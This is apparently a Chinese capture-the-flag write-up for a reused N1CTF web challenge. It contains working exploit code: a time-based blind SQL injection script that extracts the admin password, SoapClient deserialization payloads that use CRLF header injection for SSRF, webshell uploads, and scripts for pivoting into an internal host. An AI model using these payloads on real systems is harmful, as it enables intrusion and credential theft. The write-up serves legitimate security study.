雖然是N1CTF原題,但是自己沒遇見過,還是做的題少,記錄一下吧==
1.源碼泄露,直接可以下到所有源碼,然后代碼審計到一處insert型注入:
這里直接帶入insert里面,跟進去看看
insert函數對values進行正則替換,先調用get_columnsp
這里把數組分成以` , `連接的字符串並且以`反引號包在內,而正則則是匹配字符串中所有反引號之間的內容,將其取出放到兩個單引號里面,要是一下子看不出來其實可以把這一兩個函數挑出來單獨測試一下:
<?php function get_column($columns){ if(is_array($columns)) $column = ' `'.implode('`,`',$columns).'` '; else $column = ' `'.$columns.'` '; return $column; } $a=['a','b']; $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($a)).')'; echo $value;
如果我們按常規的insert注入a' or sleep(5),3)#那么此時values最終為:
可以看到此時values形式明顯出現了錯誤,因為此時我們注入了一個逗號,那么正則中`([^`,])`意思是匹配兩個反引號之間除了反引號和逗號之外的所有字符,要是沒有逗號,此時正好閉合前面的‘ 但單引號,所以在注入逗號的同時我們還要讓`反引號變為單引號來閉合,我們可以注入反引號,從而`b` ,替換后就為'b',此時就能閉合,並且可以使用單引號,那么后面延時注入就ok了。
可以通過burp直接看到延時效果,那么后面腳本直接上就行,比賽的時候用的國外服務器,我的網速太卡,延時沒跑出來,就算語句正確也有好幾秒的延時,體驗很差勁==
然后直接腳本跑就行:
#coding:utf-8 import string import binascii import requests import re payloads = "0123456789abcdef" url = "http://web69.buuoj.cn/index.php?action=publish" cookie={"PHPSESSID":"dru7esue1432fnpta7behviqc1"} inject = requests.session() password="" def dump_flag(): password="" for i in range(1,33): for payload in payloads: ch = ord(payload) data = { "signature": "111`,3),(if(ascii(substring((select password from ctf_users where username=0x61646d696e),"+str(i)+",1))="+str(ch)+",sleep(5),0),3,4,5)#", "mood": 0 } try: a = inject.post(url=url,data=data,cookies=cookie,timeout=2) #print(data) except: password = password + payload print(password) break dump_flag()
buu平台有waf所以一跑就有驗證碼,跑出來密碼還是jaivypassword
但是此時顯示無法登錄,ip地址有限制,回去看看源碼:
這里是獲得remote_addr來進行判斷,所以必須找到一處ssrf來
從而完成登錄,這里注意到其實還有一處反序列化漏洞:
雖然將mood參數轉int並addshalshes了,但是后面mood參數在可以注入的signnature參數后面,所以可以通過注入將其直接注釋掉,來注入一個我們的惡意序列化對象,這里因為要ssrf,並且源代碼里面沒有可以直接進行ssrf的類,因此選擇soapclinet類來進行ssrf,因為是內置類,所以用起來也方便,那么soapclient發送網絡請求的一個條件就是,必須調用不存在的方法,從而觸發其__call方法來發送網絡請求,比如這里
明顯符合觸發條件,所以直接構造即可:
原始exp,這個是一般測試,可以在其中直接根據我們的情況進行修改,這里要關注源碼:
<?php $target = 'http://127.0.0.1/test.php'; $post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: xxxx=1234' ); $b = new SoapClient(null,array('location' => $target, 'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string, 'uri'=> "aaab")); //因為user-agent是可以控制的,因此可以利用crlf注入http頭來發送post請求 $aaa = serialize($b); $aaa = str_replace('^^','%0d%0a',$aaa); $aaa = str_replace('&','%26',$aaa); $c=unserialize(urldecode($aaa)); $c->ss(); //調用_call方法觸發網絡請求發送 ?>
因為要請求的login功能,所以我們要post admin的username和password以及驗證碼,同時要加上自己的cookie,用於在ssrf以后用此cookie登錄admin
<?php $target = 'http://web69.buuoj.cn/index.php?action=login'; $post_string = 'username=admiin&password=jaivypassword&code=(自己的驗證碼)'; $headers = array( 'Cookie: PHPSESSID=1234' #(未登錄的cookie,便於以admin身份進行登陸) ); $b = new SoapClient(null,array('location' => $target, 'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string, 'uri'=> "aaab")); //因為user-agent是可以控制的,因此可以利用crlf注入http頭來發送post請求 $aaa = serialize($b); $aaa = str_replace('^^','%0d%0a',$aaa); $aaa = str_replace('&','%26',$aaa); echo $aaa; ?>
登陸以后就上傳shell,shell傳到了/app/upload/
這里我還傻逼了,一位/app是個絕對路徑,實際上app就是當前網站路徑,==,我擦,那么直接訪問upload就能訪問到shell。
之后內網還有一個.2的ip,也是一道原題,對其可以直接ew正向代理進去,然后在/etc/下就能找到flag,最快的當然是執行find /etc/ -name "*flag*",我看師傅們都上shell然后用蟻劍,還挺方便直接掃內網存活端口,還支持curl,唉 win 真辣雞,過幾天在虛擬機也要學學它,內網的題目繞過方法在我另一篇文件操作里面已經說過了,就不說了,原題鏈接wp:https://blog.cindemor.com/post/ctf-web-12.html
放個exp:
import requests url = "http://172.16.54.2/index.php" files=[('file',('shell.php',"@<?php system('find /etc -name \'*flag*\'');var_dump('1');"))] data={"file[1]":"2333","file[0]":"xxx/../tr1ple_v1.php","hello":"tr1ple_v1.php"} r = requests.post(url=url, data=data,files=files) print(r.content)
這里glizjin師傅的php exp也可以,直接用curl來發post包
<?php $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "http://172.16.54.2", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tr1ple.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../tr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--", CURLOPT_HTTPHEADER => array( "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22", "cache-control: no-cache", "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; }
總結:
一眼看不出來函數的處理結果及函數的功能就把它單獨提出來測試來bypass